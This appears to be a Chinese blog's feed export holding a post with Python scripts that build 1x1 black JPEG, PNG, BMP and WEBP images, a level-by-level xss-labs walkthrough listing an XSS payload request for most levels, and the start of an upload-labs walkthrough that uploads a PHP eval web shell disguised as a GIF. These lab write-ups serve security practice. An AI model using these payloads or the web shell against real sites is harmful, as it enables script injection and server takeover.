1</span></span><br><span class="line">    sos_payload += <span class="built_in">bytes</span>([<span class="number">0</span>, <span class="number">0x3f</span>, <span class="number">0x00</span>])        <span class="comment"># Ss=0, Se=63, Ah=0/Al=0</span></span><br><span class="line">    parts.append(segment(<span class="string">b&#x27;\xff\xda&#x27;</span>, sos_payload))</span><br><span class="line"></span><br><span class="line">    <span class="comment"># Entropy-coded scan data</span></span><br><span class="line">    parts.append(SCAN_DATA)</span><br><span class="line"></span><br><span class="line">    <span class="comment"># EOI</span></span><br><span class="line">    parts.append(<span class="string">b&#x27;\xff\xd9&#x27;</span>)</span><br><span class="line"></span><br><span class="line">    data = <span class="string">b&#x27;&#x27;</span>.join(parts)</span><br><span class="line"></span><br><span class="line">    out_path = os.path.join(os.path.dirname(os.path.abspath(__file__)), <span class="string">&#x27;black.jpg&#x27;</span>)</span><br><span class="line">    <span class="keyword">with</span> <span class="built_in">open</span>(out_path, <span class="string">&#x27;wb&#x27;</span>) <span class="keyword">as</span> f:</span><br><span class="line">        f.write(data)</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">f&#x27;created <span class="subst">&#123;out_path&#125;</span>&#x27;</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&#x27;__main__&#x27;</span>:</span><br><span class="line">    main()</span><br></pre></td></tr></table></figure><ul><li>Base64编码的图片原始数据</li></ul><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/9j/4AAQSkZJRgABAQAAAQABAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRofHh0aHBwgJC4nICIsIxwcKDcpLDAxNDQ0Hyc5PTgyPC4zNDL/2wBDAQkJCQwLDBgNDRgyIRwhMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjL/wAARCAABAAEDASIAAhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQAAAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSExBhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwD5/ooooA//2Q==</span><br></pre></td></tr></table></figure><h2 id="PNG"><a href="#PNG" class="headerlink" title="PNG"></a>PNG</h2><figure class="highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> os</span><br><span class="line"><span class="keyword">import</span> struct</span><br><span class="line"><span class="keyword">import</span> zlib</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">make_chunk</span>(<span class="params">chunk_type, data</span>):</span><br><span class="line">    <span class="string">&quot;&quot;&quot;Assemble a PNG chunk: length + type + data + CRC-32.&quot;&quot;&quot;</span></span><br><span class="line">    length = struct.pack(<span class="string">&#x27;&gt;I&#x27;</span>, <span class="built_in">len</span>(data))</span><br><span class="line">    crc = struct.pack(<span class="string">&#x27;&gt;I&#x27;</span>, zlib.crc32(chunk_type + data) &amp; <span class="number">0xFFFFFFFF</span>)</span><br><span class="line">    <span class="keyword">return</span> length + chunk_type + data + crc</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">main</span>():</span><br><span class="line">    <span class="comment"># PNG signature</span></span><br><span class="line">    signature = <span class="string">b&#x27;\x89PNG\r\n\x1a\n&#x27;</span></span><br><span class="line"></span><br><span class="line">    <span class="comment"># IHDR: width=1, height=1, bit depth=8, color type=2 (truecolor RGB),</span></span><br><span class="line">    <span class="comment">#        compression=0, filter=0, interlace=0</span></span><br><span class="line">    ihdr_data = struct.pack(<span class="string">&#x27;&gt;IIBBBBB&#x27;</span>, <span class="number">1</span>, <span class="number">1</span>, <span class="number">8</span>, <span class="number">2</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>)</span><br><span class="line">    ihdr = make_chunk(<span class="string">b&#x27;IHDR&#x27;</span>, ihdr_data)</span><br><span class="line"></span><br><span class="line">    <span class="comment"># IDAT: deflate-compressed scanline.</span></span><br><span class="line">    <span class="comment"># One scanline = filter byte (0x00 = None) + 3 bytes (R=0, G=0, B=0)</span></span><br><span class="line">    raw_scanline = <span class="string">b&#x27;\x00\x00\x00\x00&#x27;</span></span><br><span class="line">    compressed = zlib.compress(raw_scanline, <span class="number">6</span>)</span><br><span class="line">    idat = make_chunk(<span class="string">b&#x27;IDAT&#x27;</span>, compressed)</span><br><span class="line"></span><br><span class="line">    <span class="comment"># IEND</span></span><br><span class="line">    iend = make_chunk(<span class="string">b&#x27;IEND&#x27;</span>, <span class="string">b&#x27;&#x27;</span>)</span><br><span class="line"></span><br><span class="line">    data = signature + ihdr + idat + iend</span><br><span class="line"></span><br><span class="line">    out_path = os.path.join(os.path.dirname(os.path.abspath(__file__)), <span class="string">&#x27;black.png&#x27;</span>)</span><br><span class="line">    <span class="keyword">with</span> <span class="built_in">open</span>(out_path, <span class="string">&#x27;wb&#x27;</span>) <span class="keyword">as</span> f:</span><br><span class="line">        f.write(data)</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">f&#x27;created <span class="subst">&#123;out_path&#125;</span>&#x27;</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&#x27;__main__&#x27;</span>:</span><br><span class="line">    main()</span><br></pre></td></tr></table></figure><ul><li>Base64编码的图片原始数据</li></ul><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVR4nGNgYGAAAAAEAAH2FzhVAAAAAElFTkSuQmCC</span><br></pre></td></tr></table></figure><h2 id="BMP"><a href="#BMP" class="headerlink" title="BMP"></a>BMP</h2><figure class="highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> os</span><br><span class="line"><span class="keyword">import</span> struct</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">main</span>():</span><br><span class="line">    <span class="comment"># BITMAPFILEHEADER (14 bytes)</span></span><br><span class="line">    file_header = struct.pack(  <span class="comment"># type: ignore[call-overload]</span></span><br><span class="line">        <span class="string">&#x27;&lt;2sIHHI&#x27;</span>,</span><br><span class="line">        <span class="string">b&#x27;BM&#x27;</span>,    <span class="comment"># signature</span></span><br><span class="line">        <span class="number">58</span>,       <span class="comment"># total file size (14 + 40 + 4)</span></span><br><span class="line">        <span class="number">0</span>,        <span class="comment"># reserved1</span></span><br><span class="line">        <span class="number">0</span>,        <span class="comment"># reserved2</span></span><br><span class="line">        <span class="number">54</span>,       <span class="comment"># bfOffBits: offset from file start to pixel data</span></span><br><span class="line">    )</span><br><span class="line"></span><br><span class="line">    <span class="comment"># BITMAPINFOHEADER (40 bytes)</span></span><br><span class="line">    info_header = struct.pack(  <span class="comment"># type: ignore[call-overload]</span></span><br><span class="line">        <span class="string">&#x27;&lt;IiiHHIIiiII&#x27;</span>,</span><br><span class="line">        <span class="number">40</span>,    <span class="comment"># biSize</span></span><br><span class="line">        <span class="number">1</span>,     <span class="comment"># biWidth</span></span><br><span class="line">        <span class="number">1</span>,     <span class="comment"># biHeight (positive =&gt; bottom-up)</span></span><br><span class="line">        <span class="number">1</span>,     <span class="comment"># biPlanes</span></span><br><span class="line">        <span class="number">24</span>,    <span class="comment"># biBitCount (24-bit RGB, no palette)</span></span><br><span class="line">        <span class="number">0</span>,     <span class="comment"># biCompression (BI_RGB)</span></span><br><span class="line">        <span class="number">4</span>,     <span class="comment"># biSizeImage (1 pixel * 3 bytes, padded to 4-byte row)</span></span><br><span class="line">        <span class="number">3780</span>,  <span class="comment"># biXPelsPerMeter (~96 DPI)</span></span><br><span class="line">        <span class="number">3780</span>,  <span class="comment"># biYPelsPerMeter (~96 DPI)</span></span><br><span class="line">        <span class="number">0</span>,     <span class="comment"># biClrUsed</span></span><br><span class="line">        <span class="number">0</span>,     <span class="comment"># biClrImportant</span></span><br><span class="line">    )</span><br><span class="line"></span><br><span class="line">    <span class="comment"># Pixel data: one BGR black pixel + one padding byte (row must be 4-aligned)</span></span><br><span class="line">    pixel_data = <span class="string">b&#x27;\x00\x00\x00\x00&#x27;</span></span><br><span class="line"></span><br><span class="line">    data = file_header + info_header + pixel_data</span><br><span class="line"></span><br><span class="line">    out_path = os.path.join(os.path.dirname(os.path.abspath(__file__)), <span class="string">&#x27;black.bmp&#x27;</span>)</span><br><span class="line">    <span class="keyword">with</span> <span class="built_in">open</span>(out_path, <span class="string">&#x27;wb&#x27;</span>) <span class="keyword">as</span> f:</span><br><span class="line">        f.write(data)</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">f&#x27;created <span class="subst">&#123;out_path&#125;</span>&#x27;</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&#x27;__main__&#x27;</span>:</span><br><span class="line">    main()</span><br></pre></td></tr></table></figure><ul><li>Base64编码的图片原始数据</li></ul><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Qk06AAAAAAAAADYAAAAoAAAAAQAAAAEAAAABABgAAAAAAAQAAADEDgAAxA4AAAAAAAAAAAAAAAAAAA==</span><br></pre></td></tr></table></figure><h2 id="WEBP"><a href="#WEBP" class="headerlink" title="WEBP"></a>WEBP</h2><figure class="highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> os</span><br><span class="line"><span class="keyword">import</span> struct</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">main</span>():</span><br><span class="line">    width = <span class="number">1</span></span><br><span class="line">    height = <span class="number">1</span></span><br><span class="line"></span><br><span class="line">    <span class="comment"># --- VP8 (lossy) bitstream for a 1x1 black keyframe ---</span></span><br><span class="line">    <span class="comment">#</span></span><br><span class="line">    <span class="comment"># Uncompressed 10-byte keyframe header:</span></span><br><span class="line">    <span class="comment">#   frame_tag (3 bytes) + start code (3 bytes) + dimensions (4 bytes)</span></span><br><span class="line">    <span class="comment">#</span></span><br><span class="line">    <span class="comment"># frame_tag (24-bit LE) packs:</span></span><br><span class="line">    <span class="comment">#   frame_type      (1 bit)  = 0  (keyframe)</span></span><br><span class="line">    <span class="comment">#   version         (3 bits) = 0</span></span><br><span class="line">    <span class="comment">#   show_frame      (1 bit)  = 1</span></span><br><span class="line">    <span class="comment">#   first_part_size (19 bits)= 9  (size of the first data partition)</span></span><br><span class="line">    frame_type = <span class="number">0</span></span><br><span class="line">    version = <span class="number">0</span></span><br><span class="line">    show_frame = <span class="number">1</span></span><br><span class="line">    first_part_size = <span class="number">9</span></span><br><span class="line"></span><br><span class="line">    frame_tag = (frame_type</span><br><span class="line">                 | (version &lt;&lt; <span class="number">1</span>)</span><br><span class="line">                 | (show_frame &lt;&lt; <span class="number">4</span>)</span><br><span class="line">                 | (first_part_size &lt;&lt; <span class="number">5</span>))</span><br><span class="line">    frame_tag_bytes = struct.pack(<span class="string">&#x27;&lt;I&#x27;</span>, frame_tag)[:<span class="number">3</span>]   <span class="comment"># 3 bytes, little-endian</span></span><br><span class="line"></span><br><span class="line">    start_code = <span class="string">b&#x27;\x9d\x01\x2a&#x27;</span>                         <span class="comment"># fixed VP8 keyframe magic</span></span><br><span class="line">    dimensions = struct.pack(<span class="string">&#x27;&lt;HH&#x27;</span>, width, height)        <span class="comment"># scale = 0</span></span><br><span class="line"></span><br><span class="line">    uncompressed_header = frame_tag_bytes + start_code + dimensions</span><br><span class="line"></span><br><span class="line">    <span class="comment"># Boolean-coded VP8 frame header + residual for a 1x1 black keyframe.</span></span><br><span class="line">    <span class="comment"># The first partition (9 bytes) carries the frame header; the remaining</span></span><br><span class="line">    <span class="comment"># 5 bytes are the (empty) coefficient partition.  These bytes are the</span></span><br><span class="line">    <span class="comment"># entropy-coded output of the VP8 boolean encoder and cannot be derived</span></span><br><span class="line">    <span class="comment"># from simple arithmetic, so they are embedded directly.</span></span><br><span class="line">    vp8_bitstream = <span class="built_in">bytes</span>([</span><br><span class="line">        <span class="number">0x01</span>, <span class="number">0x40</span>, <span class="number">0x26</span>, <span class="number">0x25</span>, <span class="number">0xa4</span>, <span class="number">0x00</span>, <span class="number">0x03</span>, <span class="number">0x70</span>, <span class="number">0x00</span>,  <span class="comment"># first partition (9)</span></span><br><span class="line">        <span class="number">0xfe</span>, <span class="number">0xfd</span>, <span class="number">0x36</span>, <span class="number">0x68</span>, <span class="number">0x00</span>,                          <span class="comment"># second partition (5)</span></span><br><span class="line">    ])</span><br><span class="line"></span><br><span class="line">    vp8_data = uncompressed_header + vp8_bitstream</span><br><span class="line"></span><br><span class="line">    <span class="comment"># --- RIFF container ---</span></span><br><span class="line">    chunk_id = <span class="string">b&#x27;VP8 &#x27;</span>                                    <span class="comment"># lossy VP8 chunk</span></span><br><span class="line">    chunk_size = struct.pack(<span class="string">&#x27;&lt;I&#x27;</span>, <span class="built_in">len</span>(vp8_data))</span><br><span class="line"></span><br><span class="line">    webp_body = <span class="string">b&#x27;WEBP&#x27;</span> + chunk_id + chunk_size + vp8_data</span><br><span class="line"></span><br><span class="line">    riff = <span class="string">b&#x27;RIFF&#x27;</span> + struct.pack(<span class="string">&#x27;&lt;I&#x27;</span>, <span class="built_in">len</span>(webp_body)) + webp_body</span><br><span class="line"></span><br><span class="line">    data = riff</span><br><span class="line"></span><br><span class="line">    out_path = os.path.join(os.path.dirname(os.path.abspath(__file__)), <span class="string">&#x27;black.webp&#x27;</span>)</span><br><span class="line">    <span class="keyword">with</span> <span class="built_in">open</span>(out_path, <span class="string">&#x27;wb&#x27;</span>) <span class="keyword">as</span> f:</span><br><span class="line">        f.write(data)</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">f&#x27;created <span class="subst">&#123;out_path&#125;</span>&#x27;</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&#x27;__main__&#x27;</span>:</span><br><span class="line">    main()</span><br></pre></td></tr></table></figure><ul><li>Base64编码的图片原始数据</li></ul><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">UklGRiQAAABXRUJQVlA4IBgAAAAwAQCdASoBAAEAAUAmJaQAA3AA/v02aAA=</span><br></pre></td></tr></table></figure><h2 id="完成"><a href="#完成" class="headerlink" title="完成"></a>完成</h2>]]>
    </content>
    <id>https://loli.fj.cn/2026/07/07/Python3%E5%88%9B%E5%BB%BA1x1%E5%83%8F%E7%B4%A0%E7%9A%84%E5%9B%BE%E7%89%87/</id>
    <link href="https://loli.fj.cn/2026/07/07/Python3%E5%88%9B%E5%BB%BA1x1%E5%83%8F%E7%B4%A0%E7%9A%84%E5%9B%BE%E7%89%87/"/>
    <published>2026-07-07T23:07:01.000Z</published>
    <summary>
      <![CDATA[<h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>Python3创建1x1像素的图片</p>]]>
    </summary>
    <title>【源码】Python3创建1x1像素的图片</title>
    <updated>2026-07-16T13:01:47.379Z</updated>
  </entry>
  <entry>
    <author>
      <name>57uv6Z6g</name>
    </author>
    <content>
      <![CDATA[<div id="toot-id" style="display: none">undefined</div><h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>xss-labs通关攻略</p><p>17-20关需要对Flash进行XSS，如需在页面加载Flash可以使用浏览器插件<a href="/302.html?target=https://chromewebstore.google.com/detail/ruffle-flash-emulator/donbcfbmhbcapadipfkeojnmajbakjdc">Ruffle</a>，如需反编译Flash源码可以使用<a href="https://github.com/jindrapetrik/jpexs-decompiler">jindrapetrik&#x2F;jpexs-decompiler</a></p><span id="more"></span><h2 id="Level1"><a href="#Level1" class="headerlink" title="Level1"></a>Level1</h2><figure class="highlight http"><figcaption><span>request</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">GET /level1.php?name=&lt;script&gt;alert(1)&lt;/script&gt;</span><br></pre></td></tr></table></figure><h2 id="Level2"><a href="#Level2" class="headerlink" title="Level2"></a>Level2</h2><figure class="highlight http"><figcaption><span>request</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">GET /level2.php?name=&quot;/&gt;&lt;script&gt;alert(1)&lt;/script&gt;</span><br></pre></td></tr></table></figure><h2 id="Level3"><a href="#Level3" class="headerlink" title="Level3"></a>Level3</h2><figure class="highlight http"><figcaption><span>request</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">GET /level3.php?keyword=&#x27; onclick=&#x27;javascript:alert(1);</span><br></pre></td></tr></table></figure><h2 id="Level4"><a href="#Level4" class="headerlink" title="Level4"></a>Level4</h2><figure class="highlight http"><figcaption><span>request</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">GET /level4.php?keyword=&quot; onclick=&quot;javascript:alert(1);</span><br></pre></td></tr></table></figure><h2 id="Level5"><a href="#Level5" class="headerlink" title="Level5"></a>Level5</h2><figure class="highlight http"><figcaption><span>request</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">GET /level5.php?keyword=&quot;/&gt;&lt;a href=&quot;javascript:alert(1);&quot;&gt;1&lt;/a&gt;&lt;input type=&quot;hidden&quot; &quot;</span><br></pre></td></tr></table></figure><h2 id="Level6"><a href="#Level6" class="headerlink" title="Level6"></a>Level6</h2><figure class="highlight http"><figcaption><span>request</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">GET /level6.php?keyword=&quot;/&gt;&lt;scripT&gt;alert(1)&lt;/scripT&gt;</span><br></pre></td></tr></table></figure><h2 id="Level7"><a href="#Level7" class="headerlink" title="Level7"></a>Level7</h2><figure class="highlight http"><figcaption><span>request</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">GET /level7.php?keyword=&quot;/&gt;&lt;scripscriptt&gt;alert(1)&lt;/scripscriptt&gt;</span><br></pre></td></tr></table></figure><h2 id="Level8"><a href="#Level8" class="headerlink" title="Level8"></a>Level8</h2><figure class="highlight http"><figcaption><span>request</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">GET /level8.php?keyword=%26%23106%3B%26%2397%3B%26%23118%3B%26%2397%3B%26%23115%3B%26%2399%3B%26%23114%3B%26%23105%3B%26%23112%3B%26%23116%3B%26%2358%3B%26%2397%3B%26%23108%3B%26%23101%3B%26%23114%3B%26%23116%3B%26%2340%3B%26%2341%3B</span><br></pre></td></tr></table></figure><h2 id="Level9"><a href="#Level9" class="headerlink" title="Level9"></a>Level9</h2><figure class="highlight http"><figcaption><span>request</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">GET /level9.php?keyword=%26%23106%3B%26%2397%3B%26%23118%3B%26%2397%3B%26%23115%3B%26%2399%3B%26%23114%3B%26%23105%3B%26%23112%3B%26%23116%3B%26%2358%3B%26%2397%3B%26%23108%3B%26%23101%3B%26%23114%3B%26%23116%3B%26%2340%3B%26%2341%3B&lt;!-- http:// --&gt;</span><br></pre></td></tr></table></figure><h2 id="Level10"><a href="#Level10" class="headerlink" title="Level10"></a>Level10</h2><figure class="highlight http"><figcaption><span>request</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">GET /level10.php?keyword=1&amp;t_sort=&quot; onclick=&quot;javascript:alert(1);&quot; type=&quot;</span><br></pre></td></tr></table></figure><h2 id="Level11"><a href="#Level11" class="headerlink" title="Level11"></a>Level11</h2><figure class="highlight http"><figcaption><span>request</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">GET /level11.php?keyword=1</span><br><span class="line"><span class="attribute">Referer</span><span class="punctuation">: </span>&quot; onclick=&quot;javascript:alert(1);&quot; type=&quot;</span><br></pre></td></tr></table></figure><h2 id="Level12"><a href="#Level12" class="headerlink" title="Level12"></a>Level12</h2><figure class="highlight http"><figcaption><span>request</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">GET /level12.php?keyword=1</span><br><span class="line"><span class="attribute">User-Agent</span><span class="punctuation">: </span>&quot; onclick=&quot;javascript:alert(1);&quot; type=&quot;</span><br></pre></td></tr></table></figure><h2 id="Level13"><a href="#Level13" class="headerlink" title="Level13"></a>Level13</h2><figure class="highlight http"><figcaption><span>request</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">GET /level13.php?keyword=1</span><br><span class="line"><span class="attribute">Cookie</span><span class="punctuation">: </span>user=&quot; onclick=&quot;javascript:alert(1)&quot; type=&quot;;</span><br></pre></td></tr></table></figure><h2 id="Level14"><a href="#Level14" class="headerlink" title="Level14"></a>Level14</h2><p>略</p><h2 id="Level15"><a href="#Level15" class="headerlink" title="Level15"></a>Level15</h2><figure class="highlight http"><figcaption><span>request</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">GET /level15.php?src=&#x27;level1.php?name=&lt;input onclick=alert(1)&gt;&#x27;</span><br></pre></td></tr></table></figure><h2 id="Level16"><a href="#Level16" class="headerlink" title="Level16"></a>Level16</h2><figure class="highlight http"><figcaption><span>request</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">GET /level16.php?keyword=&lt;input%0aonclick=alert(1)&gt;</span><br></pre></td></tr></table></figure><h2 id="Level17"><a href="#Level17" class="headerlink" title="Level17"></a>Level17</h2><figure class="highlight http"><figcaption><span>request</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">GET /level17.php?arg01=a&amp;arg02=b onmouseover=alert(1)</span><br></pre></td></tr></table></figure><ul><li>将鼠标移到Flash上</li></ul><h2 id="Level18"><a href="#Level18" class="headerlink" title="Level18"></a>Level18</h2><figure class="highlight http"><figcaption><span>request</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">GET /level18.php?arg01=a&amp;arg02=b onmouseover=alert(1)</span><br></pre></td></tr></table></figure><h2 id="Level19"><a href="#Level19" class="headerlink" title="Level19"></a>Level19</h2><p>略</p><h2 id="Level20"><a href="#Level20" class="headerlink" title="Level20"></a>Level20</h2><p>略</p><h2 id="完成"><a href="#完成" class="headerlink" title="完成"></a>完成</h2><h2 id="参考文献"><a href="#参考文献" class="headerlink" title="参考文献"></a>参考文献</h2><p><a href="https://blog.csdn.net/2302_81178149/article/details/142746914">CSDN——重庆森林不在重庆</a></p>]]>
    </content>
    <id>https://loli.fj.cn/2026/07/05/xss-labs%E9%80%9A%E5%85%B3%E6%94%BB%E7%95%A5/</id>
    <link href="https://loli.fj.cn/2026/07/05/xss-labs%E9%80%9A%E5%85%B3%E6%94%BB%E7%95%A5/"/>
    <published>2026-07-05T23:26:00.000Z</published>
    <summary>
      <![CDATA[<h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>xss-labs通关攻略</p>
<p>17-20关需要对Flash进行XSS，如需在页面加载Flash可以使用浏览器插件<a href="/302.html?target=https://chromewebstore.google.com/detail/ruffle-flash-emulator/donbcfbmhbcapadipfkeojnmajbakjdc">Ruffle</a>，如需反编译Flash源码可以使用<a href="https://github.com/jindrapetrik/jpexs-decompiler">jindrapetrik&#x2F;jpexs-decompiler</a></p>]]>
    </summary>
    <title>【靶场】xss-labs通关攻略</title>
    <updated>2026-07-16T13:01:47.427Z</updated>
  </entry>
  <entry>
    <author>
      <name>57uv6Z6g</name>
    </author>
    <content>
      <![CDATA[<div id="toot-id" style="display: none">undefined</div><h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>upload-labs通关攻略</p><span id="more"></span><h2 id="Pass-01"><a href="#Pass-01" class="headerlink" title="Pass-01"></a>Pass-01</h2><figure class="highlight http"><figcaption><span>request</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">POST /Pass-01/index.php</span><br><span class="line"><span class="attribute">Content-Type</span><span class="punctuation">: </span>multipart/form-data; </span><br><span class="line"></span><br><span class="line">------WebKitFormBoundaryXXXXXXXXXXXXXXXX</span><br><span class="line"><span class="attribute">Content-Disposition</span><span class="punctuation">: </span>form-data; name=&quot;upload_file&quot;; filename=&quot;x.php&quot;</span><br><span class="line"><span class="attribute">Content-Type</span><span class="punctuation">: </span>image/gif</span><br><span class="line"></span><br><span class="line">&lt;?php eval($_REQUEST[&quot;x&quot;]); ?&gt;</span><br><span class="line">------WebKitFormBoundaryXXXXXXXXXXXXXXXX</span><br><span class="line"><span class="attribute">Content-Disposition</span><span class="punctuation">: </span>form-data; 